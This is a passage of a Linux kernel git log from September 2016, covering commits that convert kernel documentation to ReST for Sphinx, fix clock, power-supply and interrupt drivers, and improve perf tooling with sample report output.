Documentation/stable_api_nonsense.txt | 2 ++ Documentation/stable_kernel_rules.txt | 2 ++ 11 files changed, 27 insertions(+), 9 deletions(-) commit 9e03ea7f683e1a4537409544ae55f338d64cd2fa Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:55 2016 -0300 Documentation/kernel-docs.txt: convert it to ReST markup This one required lots of manual work, for it to be properly displayed. Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 1514 +++++++++++++++++++++-------------------- 1 file changed, 786 insertions(+), 728 deletions(-) commit 9b2c76777accbd7b70d73ca540d1e318e4f2c206 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:54 2016 -0300 Documentation/SubmittingPatches: enrich the Sphinx output Do a few changes to make the output look better: - use bullets on trivial patches list; - use monotonic font for tools name; - use :manpage:`foo` for man pages; - don't put all references to maintainer*html at the same line. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SubmittingPatches | 100 ++++++++++++++++++++++------------------ 1 file changed, 55 insertions(+), 45 deletions(-) commit 5903019b2a5ef52ec70931dbf4109fe300479942 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:53 2016 -0300 Documentation/SubmittingPatches: convert it to ReST markup - Change the sections to use ReST markup; - Add cross-references where needed; - convert aspas to verbatim text; - use code block tags; - make Sphinx happy. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SubmittingPatches | 207 ++++++++++++++++++++-------------------- 1 file changed, 105 insertions(+), 102 deletions(-) commit ceeb1a541556dc4aacd8f51d2000a55b079fa3da Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:52 2016 -0300 Documentation/SubmittingDrivers: convert it to ReST markup - Change the document title markup to make it on a higher level; - Add blank lines as needed, to improve the output; - use italics for the country-code at kernel.org ftp URL. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SubmittingDrivers | 45 ++++++++++++++++++++++++++++------------- 1 file changed, 31 insertions(+), 14 deletions(-) commit 5fe270a47ebf594a3c538a3c44e9a20a96015b19 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:51 2016 -0300 Documentation/stable_kernel_rules.txt: convert it to ReST markup - use ReST markups for section headers; - add cross-references to the options; - mark code blocks; - a few minor changes to make Sphinx happy. Signed-off-by: Mauro Carvalho Chehab Acked-by: Greg Kroah-Hartman Signed-off-by: Jonathan Corbet Documentation/stable_kernel_rules.txt | 101 +++++++++++++++++++++++----------- 1 file changed, 68 insertions(+), 33 deletions(-) commit 44f9d45e382f4ac5955d0fbac2503039c8be9159 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:50 2016 -0300 Documentation/stable_api_nonsense.txt: convert it to ReST markup Add markups for it to be properly parsed by Sphinx. As people browsing this document may not notice that the source file title is "stable_api_nonsense", I opted to use bold to the rationale for this document. I also found it better to add a note when it says that the nonsense applies only to the kABI/kAPI, and not to uAPI. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/stable_api_nonsense.txt | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) commit 1d7078d4e2bcc212394cdacd233b050a84b0354a Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:49 2016 -0300 Documentation/SecurityBugs: convert it to ReST markup Add a name for the document and convert the sections to ReST markups. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SecurityBugs | 6 ++++++ 1 file changed, 6 insertions(+) commit 7f2b3c65b9a1eab79e614e40d858f96c53cbb9b9 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:48 2016 -0300 Documentation/ManagementStyle: convert it to ReST markup - Convert document name to ReST; - Convert footnotes; - Convert sections to ReST format; - Don't use _foo_, as Sphinx doesn't support underline. Instead, use bold; - While here, remove whitespaces at the end of lines. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/ManagementStyle | 154 ++++++++++++++++++++++-------------------- 1 file changed, 82 insertions(+), 72 deletions(-) commit 3772ec4adfcd5b2ce8829c4a5fbd24411aa67e68 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:47 2016 -0300 Documentation/CodingStyle: use the .. note:: markup where needed There are two places there where there are notes that should be highlighted. So, use the ReST note markup for such texts. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 5d628b4527e40002b2eea83a13a5191113767d46 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:46 2016 -0300 Documentation/CodingStyle: replace underline markups Sphinx doesn't accept underline markups by purpose. While there are ways to support underline via CSS, this won't be portable with non-html outputs. As we want CodingStyle to do emphasis, replace _foo_ by **foo**, using bold emphasis. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit b1a3459b00d601149d9171c0075ee35ea2d3bfde Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:45 2016 -0300 Documentation/CodingStyle: use the proper tag for verbatim font On Sphinx/ReST notation, ``foo`` means that foo will be will be marked as inline literal, effectively making it to be presented as a monospaced font. As we want this document to be parsed by Sphinx, instead of using "foo", use ``foo`` for the names that are literal, because it is an usual typographic convention to use monospaced fonts for functions and language commands on documents, and we're following such convention on the other ReST books. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 98 +++++++++++++++++++++++------------------------ 1 file changed, 49 insertions(+), 49 deletions(-) commit d8dbbbc54f0e4f70453019d236028c36a482aee9 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:44 2016 -0300 Documentation/CodingStyle: Convert to ReST markup - Fix all chapter identation; - add c blocks where needed; Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 261 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 182 insertions(+), 79 deletions(-) commit 81f10d199813bebe735ca201741c117990e67770 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:43 2016 -0300 Documentation/Changes: add minimal requirements for documentation build As discussed at linux-doc ML, the best is to keep all documents backward compatible with Sphinx version 1.2, as it is the latest version found on some distros like Debian. All books currently support it. Please notice that, while it mentions the eventual need of XeLaTex and texlive to build pdf files, this is not a minimal requirement, as one could just be interested on building html documents. Also, identifying the minimal requirements for texlive packages is not trivial, as each distribution seems to use different criteria on grouping LaTex functionalities. While here, update the current kernel version to 4.x. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/Changes | 36 +++++++++++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) commit 840f6690b0a7bf8ba2b104193bb31ab293f0a66c Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:42 2016 -0300 Documentation/Changes: convert it to ReST markup - Fix chapter identation inconsistencies; - Convert table to ReST format; - use the right tag for bullets; - Fix bold emphasis; - mark blocks with :: tags; - use verbatim font for files; - make Sphinx happy Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/Changes | 224 ++++++++++++++++++++++++++++++-------------------- 1 file changed, 134 insertions(+), 90 deletions(-) commit 330ae7e99d44c7a591c0a15353b12d5b83d97f70 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:41 2016 -0300 Documentation/applying-patches.txt: Update the information there This document is old: it is from Kernel v2.6.12 days. Update it to the current status, and add a reference for the linux-next tree. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/applying-patches.txt | 255 ++++++++++++++++--------------------- 1 file changed, 110 insertions(+), 145 deletions(-) commit 9299c3e92c30a25350b4c270a4173ab24944fa0d Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:40 2016 -0300 Documentation/applying-patches.txt: convert it to ReST markup - use the correct markup to identify each section; - Add some blank lines for Sphinx to properly interpret the markups; - Remove a blank space on some paragraphs; - Fix the verbatim and bold markups; - Cleanup the remaining errors to make Sphinx happy. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/applying-patches.txt | 313 ++++++++++++++++++++++--------------- 1 file changed, 190 insertions(+), 123 deletions(-) commit 022e04d6f5557e25e30cf21225b2848e3c862eb0 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:39 2016 -0300 Documentation/HOWTO: convert to ReST notation This document is almost compliant with ReST notation, but some small adjustments are needed to make it parse properly by Sphinx (mostly, add blank lines where needed). Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/HOWTO | 53 +++++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 49 insertions(+), 4 deletions(-) commit f0ddda3e94136e14320be63f5dfb22114a4877cc Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:38 2016 -0300 docs-rst: create a book for the development process Now that the files at Documentation/development-process/ were converted to ReST, make create a book at Sphinx. As we'll have other books related to the development process, we'll add it as a sub-book. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 2 ++ Documentation/development-process/conf.py | 10 ++++++++++ Documentation/development-process/index.rst | 9 +++++++++ Documentation/index.rst | 1 + 4 files changed, 22 insertions(+) commit 88b72c08e852d08c3f7761805a3a919935b64e22 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:37 2016 -0300 doc: development-process: rename files to rst Now that the documents were converted, rename them to .rst, as this is needed by the Sphinx build logic. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/development-process/1.Intro | 266 ----------- Documentation/development-process/1.Intro.rst | 266 +++++++++++ Documentation/development-process/2.Process | 497 --------------------- Documentation/development-process/2.Process.rst | 497 +++++++++++++++++++++ Documentation/development-process/3.Early-stage | 222 --------- .../development-process/3.Early-stage.rst | 222 +++++++++ Documentation/development-process/4.Coding | 413 ----------------- Documentation/development-process/4.Coding.rst | 413 +++++++++++++++++ Documentation/development-process/5.Posting | 321 ------------- Documentation/development-process/5.Posting.rst | 321 +++++++++++++ Documentation/development-process/6.Followthrough | 212 --------- .../development-process/6.Followthrough.rst | 212 +++++++++ Documentation/development-process/7.AdvancedTopics | 180 -------- .../development-process/7.AdvancedTopics.rst | 180 ++++++++ Documentation/development-process/8.Conclusion | 74 --- Documentation/development-process/8.Conclusion.rst | 74 +++ 16 files changed, 2185 insertions(+), 2185 deletions(-) commit f7c9fe4b1cd144f7afc1712bb25141c55c406e1b Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:36 2016 -0300 doc: development-process: convert it to ReST markup This document is on good shape for ReST: all it was needed was to fix the section markups, add a toctree, convert the tables and add a few code/quote blocks. While not strictly required, I opted to use lowercase for the titles, just like the other books that were converted to Sphinx. Signed-off-by: Mauro Carvalho Chehab Documentation/development-process/1.Intro | 68 ++++++++++------------ Documentation/development-process/2.Process | 41 +++++++++---- Documentation/development-process/3.Early-stage | 22 +++++-- Documentation/development-process/4.Coding | 46 ++++++++++----- Documentation/development-process/5.Posting | 26 +++++++-- Documentation/development-process/6.Followthrough | 14 +++-- Documentation/development-process/7.AdvancedTopics | 13 ++++- Documentation/development-process/8.Conclusion | 8 ++- .../development-process/development-process.rst | 27 +++++++++ 9 files changed, 179 insertions(+), 86 deletions(-) commit 1414f0488803d8963b5868b1512515c997b54571 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:35 2016 -0300 doc-rst: add CSS styles for :kbd: and :menuselection: As we're about to use those two markups, add them to the theme style overrride. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/sphinx-static/theme_overrides.css | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 1d72706f0485b58e151b5a7584c4c65d66670587 Author: Matt Ranostay Date: Mon Sep 19 20:43:02 2016 -0700 power: supply: bq27xxx_battery: allow kernel poll_interval parameter runtime update Fix issue with poll_interval being not updated till the previous interval expired. Cc: Tony Lindgren Cc: Liam Breck Signed-off-by: Matt Ranostay Signed-off-by: Sebastian Reichel drivers/power/supply/bq27xxx_battery.c | 38 +++++++++++++++++++++++++++++++++- include/linux/power/bq27xxx_battery.h | 1 + 2 files changed, 38 insertions(+), 1 deletion(-) commit 389958bb6be8b08c9f6d350dcaa9fc127123eada Author: Phil Reid Date: Tue Sep 20 09:01:12 2016 +0800 power: supply: sbs-battery: Cleanup removal of chip->pdata There where still a few lingering references to pdata after commit power: supply: sbs-battery: simplify DT parsing. Remove pdata from struct·sbs_info and conditional checks to ser if this was set from the i2c read / write functions. Instead of call max in each function for incrementing poll_retry_count do it once in the probe function. Fixup null pointer dereference in to pdata in sbs_external_power_changed. Change retry counts to u32 to avoid need for max. Signed-off-by: Phil Reid Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 22 +++++++++------------- include/linux/power/sbs-battery.h | 4 ++-- 2 files changed, 11 insertions(+), 15 deletions(-) commit 5519cf23ad548c3991ce9ce5c44dba963d11fe85 Author: Maxime Ripard Date: Mon Sep 19 22:00:15 2016 +0200 clk: sunxi-ng: Fix reset offset for the A23 and A33 There's been a copy and paste mistake in the A23 and A33 from the H3, leading in the reset offset for the UART and I2C. Signed-off-by: Maxime Ripard Signed-off-by: Stephen Boyd drivers/clk/sunxi-ng/ccu-sun8i-a23.c | 16 ++++++++-------- drivers/clk/sunxi-ng/ccu-sun8i-a33.c | 16 ++++++++-------- 2 files changed, 16 insertions(+), 16 deletions(-) commit 4135b7f8d42180d6d9820b53b0ab5e3377b7c364 Author: Alexandre Belloni Date: Tue Sep 20 22:58:31 2016 +0200 clk: at91: sckc: optimize boot time Assume that if the oscillator is enabled (OSC32EN bit is present), the delay has already elapsed as the bootloader probably waited for the oscillator to settle. This could waste up to 1.2s. Signed-off-by: Alexandre Belloni Signed-off-by: Stephen Boyd drivers/clk/at91/sckc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b13b6451a9dce278881d236d33d4bb0cb28592b Author: Alexandre Belloni Date: Tue Sep 20 22:58:30 2016 +0200 clk: at91: Add sama5d4 sckc support Starting with sama5d4, the crystal oscillator is always enabled at startup and the SCKC doesn't have an OSC32EN bit anymore. Add support for that new controller. Signed-off-by: Alexandre Belloni Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/at91-clock.txt | 3 +- drivers/clk/at91/sckc.c | 100 +++++++++++++++++++++ 2 files changed, 102 insertions(+), 1 deletion(-) commit ebf137f6703bc2cb055f4c000adc99e6ece4485d Author: Zhou Wenjian Date: Mon Sep 19 13:59:49 2016 +0800 Documentation: kdump: Add description of enable multi-cpus support Multi-cpu support is useful to improve the performance of kdump in some cases. So add the description of enable multi-cpu support in dump-capture kernel. Signed-off-by: Zhou Wenjian Acked-by: Baoquan He Acked-by: Xunlei Pang Signed-off-by: Jonathan Corbet Documentation/kdump/kdump.txt | 7 +++++++ 1 file changed, 7 insertions(+) commit 3dfb4c1bf049535c82843fc4f9c37b635fe6494e Author: Zhou Wenjian Date: Mon Sep 19 13:59:48 2016 +0800 Documentation: kdump: Remind user of nr_cpus nr_cpus can help to save memory. So we should remind user of it. Signed-off-by: Zhou Wenjian Acked-by: Baoquan He Acked-by: Xunlei Pang Signed-off-by: Jonathan Corbet Documentation/kdump/kdump.txt | 2 ++ 1 file changed, 2 insertions(+) commit ec187ef0ce9880d9dc360261807c434e77783ac8 Author: Alexandre Belloni Date: Tue Sep 20 22:58:29 2016 +0200 clk: at91: move slow clock controller clocks to sckc.c Move all clocks related to the slow clock controller to sckc.c. This avoids extern definitions and allows to remove sckc.h Signed-off-by: Alexandre Belloni [sboyd@codeaurora.org: Mark some functions static] Signed-off-by: Stephen Boyd drivers/clk/at91/clk-slow.c | 365 -------------------------------------------- drivers/clk/at91/sckc.c | 364 ++++++++++++++++++++++++++++++++++++++++++- drivers/clk/at91/sckc.h | 22 --- 3 files changed, 363 insertions(+), 388 deletions(-) commit be6c30956fa3dff2658c5ede40c80e461e2124ff Author: Andrey Smirnov Date: Tue Sep 20 09:04:20 2016 -0700 Documentation: DMA-API-HOWTO: Fix a typo Fix a type in example variable name. Signed-off-by: Andrey Smirnov Signed-off-by: Jonathan Corbet Documentation/DMA-API-HOWTO.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d8846023aed1293e54d33499558fc2aa2b2f393f Author: Lucas Stach Date: Fri Sep 16 11:16:11 2016 +0200 clk: imx6: initialize GPU clocks Initialize the GPU clock muxes to sane inputs. Until now they have not been changed from their default values, which means that both GPU3D shader and GPU2D core were fed by clock inputs whose rates exceed the maximium allowed frequency of the cores by as much as 200MHz. This fixes a severe GPU stability issue on i.MX6DL. Cc: stable@vger.kernel.org Signed-off-by: Lucas Stach Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx6q.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit b1d51b448e4e6a392283b3eab06a7c5ec6d8a4e2 Author: Lucas Stach Date: Fri Sep 16 11:16:10 2016 +0200 clk: imx6: fix i.MX6DL clock tree to reflect reality The current clock tree only implements the minimal set of differences between the i.MX6Q and the i.MX6DL, but that doesn't really reflect reality. Apply the following fixes to match the RM: - DL has no GPU3D_SHADER_SEL/PODF, the shader domain is clocked by GPU3D_CORE - GPU3D_SHADER_SEL/PODF has been repurposed as GPU2D_CORE_SEL/PODF - GPU2D_CORE_SEL/PODF has been repurposed as MLB_SEL/PODF Cc: stable@vger.kernel.org Signed-off-by: Lucas Stach Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx6q.c | 28 ++++++++++++++++------------ include/dt-bindings/clock/imx6qdl-clock.h | 4 +++- 2 files changed, 19 insertions(+), 13 deletions(-) commit 377d6479d298339888c5d6fb460d3275e1763f8f Author: Kalle Kankare Date: Mon Sep 19 12:30:00 2016 +0200 clk: imx53: Add clocks configuration Add clocks configuration for CSI, FIRI and IEEE1588. Signed-off-by: Fabien Lahoudere Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx51-imx53.c | 20 ++++++++++++++++++++ include/dt-bindings/clock/imx5-clock.h | 15 ++++++++++++++- 2 files changed, 34 insertions(+), 1 deletion(-) commit 71f5443ebb1227c22e8decbcd28a1ea6deaf8257 Author: Josh Poimboeuf Date: Tue Sep 20 10:53:40 2016 -0500 x86/dumpstack: Fix show_stack() task pointer regression With the following commit: e18bcccd1a4e ("x86/dumpstack: Convert show_trace_log_lvl() to use the new unwinder") The task pointer argument to show_stack_log_lvl() in show_stack() was inadvertently changed to 'current'. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: byungchul.park@lge.com Cc: fweisbec@gmail.com Cc: keescook@chromium.org Cc: linux-tip-commits@vger.kernel.org Cc: luto@amacapital.net Cc: nilayvaish@gmail.com Cc: rostedt@goodmis.org Cc: tip-bot for Josh Poimboeuf Fixes: e18bcccd1a4e ("x86/dumpstack: Convert show_trace_log_lvl() to use the new unwinder") Link: http://lkml.kernel.org/r/20160920155340.yhewlx7vmgmov5fb@treble Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89f1c2c59c4aef8e26edbc7db5175e6ffb0e9ec7 Merge: 8ee83b2 3c028a0 Author: Ingo Molnar Date: Tue Sep 20 23:32:02 2016 +0200 Merge tag 'perf-core-for-mingo-20160920' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: User visible changes: - Support event group view with hierarchy mode in 'perf top' and 'perf report' (Namhyung Kim) e.g.: $ perf record -e '{cycles,instructions}' make $ perf report --hierarchy --stdio ... # Overhead Command / Shared Object / Symbol # ...................... .................................. ... 25.74% 27.18% sh 19.96% 24.14% libc-2.24.so 9.55% 14.64% [.] __strcmp_sse2 1.54% 0.00% [.] __tfind 1.07% 1.13% [.] _int_malloc 0.95% 0.00% [.] __strchr_sse2 0.89% 1.39% [.] __tsearch 0.76% 0.00% [.] strlen - Fix the dwarf regs table for x86_64, adding a missing % to the "%di" register, noticed with a failing 'perf test bpf' (Arnaldo Carvalho de Melo) - Fix handling of mmap parameters in the 'perf trace' beautifier in architectures that don't have the same mappings as x86_64 (Wang Nan) - Handle hugetbl mappings in older systems running new kernels (Wang Nan) - Resolve 'call' operands in 'annotate', that when using /proc/kcore were appearing just as hexadecimal addresses, to function names (Arnaldo Carvalho de Melo) - Fix width computation for srcline sort entry (Jiri Olsa) - Do not ignore call instruction with indirect target in 'annotate' (Ravi Bangoria) - Handle MADV_FREE in the madvise 'trace' beautifier (Wang Nan) - Fix build of 'perf trace' mman beautifier in !x86_64 (Wang Nan) Infrastructure changes: - Add infrastructure for PMU specific configuration, allowing to pass config variables directly to the kernel PMU driver, prefixing those variables with a '@', part of a larger series to support Coresight (Mathieu Poirier) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 6982530eab096939f9c5b607a5ce8078df19737e Author: Paul Burton Date: Tue Sep 13 17:56:44 2016 +0100 clocksource/mips-gic-timer: Stop checking cpu_has_counter The cpu_has_counter macro indicates whether the current CPU has a working coprocessor 0 count & compare registers, and has no bearing on the GIC. Stop checking it. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Daniel Lezcano Link: http://lkml.kernel.org/r/20160913165644.627-2-paul.burton@imgtec.com Signed-off-by: Thomas Gleixner drivers/clocksource/mips-gic-timer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2fd0c93cd219779eef4b1301f9613e43adc86e39 Author: Paul Burton Date: Tue Sep 13 17:56:43 2016 +0100 clocksource/mips-gic-timer: Print an error if IRQ setup fails We've checked for errors from setup_irq_percpu since commit f95ac8558b88 ("CLOCKSOURCE: mips-gic: Add missing error returns checks") but didn't print an error message in the failure case. This makes it very easy to overlook the GIC timer clock event driver not being registered, since we'll generally just use a different clock event driver if that happens. Print an error if IRQ setup fails in order to make such problems harder to miss (ie. not completely silent). Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Daniel Lezcano Link: http://lkml.kernel.org/r/20160913165644.627-1-paul.burton@imgtec.com Signed-off-by: Thomas Gleixner drivers/clocksource/mips-gic-timer.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0f4ed1580ce6c9499eba2a1ba013759700a5ed14 Author: Paul Burton Date: Tue Sep 13 17:54:27 2016 +0100 irqchip/mips-gic: Use for_each_set_bit to iterate over local IRQs The MIPS GIC driver has previously iterated over bits set in a bitmap representing pending local IRQs by calling find_first_bit, clearing that bit then calling find_first_bit again until all bits are clear. If multiple interrupts are pending then this is wasteful, as find_first_bit will have to loop over the whole bitmap from the start. Use the for_each_set_bit macro which performs exactly what we need here instead. It will use find_next_bit and thus only scan over the relevant part of the bitmap, and it makes the intent of the code clearer. This makes the same change for local interrupts that commit cae750bae4e4 ("irqchip: mips-gic: Use for_each_set_bit to iterate over IRQs") made for shared interrupts. Signed-off-by: Paul Burton Cc: Marc Zyngier Cc: linux-mips@linux-mips.org Cc: Jason Cooper Link: http://lkml.kernel.org/r/20160913165427.31686-1-paul.burton@imgtec.com Signed-off-by: Thomas Gleixner drivers/irqchip/irq-mips-gic.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 464b5847e61085f81bb99ce48eb427a0dc7617dc Merge: 0a30d69 e875bd6 Author: Thomas Gleixner Date: Tue Sep 20 23:20:32 2016 +0200 Merge branch 'irq/urgent' into irq/core Merge urgent fixes so pending patches for 4.9 can be applied. commit 52f13a02b7d5f26feb69bf955bef10fbfaafbd7c Merge: 26e34d2 e0dc7c8 Author: Dave Airlie Date: Wed Sep 21 06:28:25 2016 +1000 Merge branch 'for-next' of http://git.agner.ch/git/linux-drm-fsl-dcu into drm-next fsl-dcu fixes. * 'for-next' of http://git.agner.ch/git/linux-drm-fsl-dcu: drm/fsl-dcu: disable clock on error path drm/fsl-dcu: use PTR_ERR_OR_ZERO() to simplify the code drm/fsl-dcu: fix endian issue when using clk_register_divider commit 6ec76070f17993aa9ac0344330b971783d10c9c2 Author: Harman Kalra Date: Wed Sep 21 01:14:40 2016 +0530 ata: sata_mv: Replacing dma_pool_alloc and memset with a single call dma_pool_zalloc. Replacing dma_pool_alloc and memset with a single call to dma_pool_zalloc Signed-off-by: Harman Kalra Signed-off-by: Tejun Heo drivers/ata/sata_mv.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 2458d66b245e39786bc5b51062e6d30aa5ad0282 Author: Tyler Baicar Date: Wed Sep 14 15:14:46 2016 -0600 ACPI / APEI: Send correct severity to calculate AER severity Currently the AER severity is calculated by calling cper_severity_to_aer(), but the parameter sent is actually the GHES severity. This causes the AER severity to be incorrect. Fix the parameter to be the CPER severity instead of the GHES severity. Signed-off-by: Tyler Baicar Signed-off-by: Bjorn Helgaas Reviewed-by: Borislav Petkov drivers/acpi/apei/ghes.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 95c35491f663962e476179076d24d0d2c45a8fb5 Author: Tyler Baicar Date: Wed Sep 14 15:14:45 2016 -0600 PCI/AER: Remove duplicate AER severity translation Currently the AER severity is being translated twice in the code flow for PCIe errors. It is first translated in ghes_do_proc() before calling into the AER driver. Then it is translated again when the AER driver calls cper_print_aer(). This causes the severity that is used in cper_print_aer() to be incorrect. Remove the second translation that is in cper_print_aer() since this function is already receiving the correct AER severity. Signed-off-by: Tyler Baicar Signed-off-by: Bjorn Helgaas Reviewed-by: Borislav Petkov drivers/pci/pcie/aer/aerdrv_errprint.c | 6 ++---- include/linux/aer.h | 2 +- 2 files changed, 3 insertions(+), 5 deletions(-) commit 3c028a0cb5b71f47d523bc8ad2c597cb257f41fb Author: Jiri Olsa Date: Tue Sep 20 18:12:45 2016 +0200 perf symbols: Do not open device files The dso__read_binary_type_filename gets the dso's file name to open. We need to check it for regular file before trying to open it, otherwise we might get stuck with device file. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160920161245.GA8995@krava Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/dso.c | 3 +++ 1 file changed, 3 insertions(+) commit e3b60bc93d81e0542ac433df226b8de8b963533e Author: Namhyung Kim Date: Tue Sep 20 14:30:24 2016 +0900 perf hists: Factor out hists__reset_column_width() The stdio and tui has same code to reset hpp format column width. Factor it out as a new function. Suggested-and-Acked-by: Jiri Olsa Signed-off-by: Namhyung Kim Cc: Andi Kleen Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20160920053025.13989-2-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 12 +++--------- tools/perf/ui/hist.c | 15 +++++++++++++++ tools/perf/ui/stdio/hist.c | 10 +--------- tools/perf/util/hist.h | 1 + 4 files changed, 20 insertions(+), 18 deletions(-) commit 5ff3e7a224d40f9dd73625b91377787034a8b35e Author: Namhyung Kim Date: Tue Sep 20 14:30:23 2016 +0900 perf ui/tui: Reset output width for hierarchy When --hierarchy option is used, each entry has its own hpp_list to show the result. But it missed to update width of each column. Before: - 46.29% 48.12% netctl-auto + 31.44% 29.25% [kernel.vmlinux] + 8.52% 11.55% libc-2.22.so + 5.19% 6.91% bash + 10.75% 11.83% wpa_cli + 8.25% 2.23% swapper + 6.45% 5.40% tr + 4.81% 8.09% awk + 4.15% 2.85% firefox + 3.86% 2.53% sh After: - 46.29% 48.12% netctl-auto + 31.44% 29.25% [kernel.vmlinux] + 8.52% 11.55% libc-2.22.so + 5.19% 6.91% bash + 10.75% 11.83% wpa_cli + 8.25% 2.23% swapper + 6.45% 5.40% tr + 4.81% 8.09% awk + 4.15% 2.85% firefox + 3.86% 2.53% sh Committer note: Full testing instructions: 1) Record with an event group: $ perf record -e '{cycles,instructions}' make -j4 2) Use report in hierarchy mode, to get a few expanded trees on the same screen, use --percent-limit: $ perf report --hierarchy --percent-limit 0.5 Samples: 103K of event 'anon group { cycles:u, instructions:u }', Event count (approx.): 57317631725 Overhead Command / Shared Object / Symbol ◆ - 58.89% 55.12% cc1 ▒ - 50.26% 48.10% cc1 ▒ 3.61% 5.13% [.] _cpp_lex_token ▒ 2.58% 0.78% [.] ht_lookup_with_hash ▒ 1.31% 1.30% [.] ggc_internal_alloc ▒ 1.08% 2.25% [.] get_combined_adhoc_loc ▒ 1.01% 1.95% [.] ira_init ▒ 0.96% 1.78% [.] linemap_position_for_column ▒ 0.65% 1.01% [.] cpp_get_token_with_location ▒ - 7.52% 6.58% libc-2.23.so ▒ 1.70% 1.78% [.] _int_malloc ▒ 0.69% 0.75% [.] _int_free ▒ 0.67% 0.42% [.] malloc_consolidate ▒ - 0.58% 0.42% ld-2.23.so ▒ no entry >= 0.50% ▒ - 0.52% 0.03% [kernel.vmlinux] ▒ no entry >= 0.50% ▒ Signed-off-by: Namhyung Kim Acked-by: Jiri Olsa Cc: Andi Kleen Cc: Peter Zijlstra Fixes: 1b2dbbf41a0f ("perf hists: Use own hpp_list for hierarchy mode") Link: http://lkml.kernel.org/r/20160920053025.13989-1-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 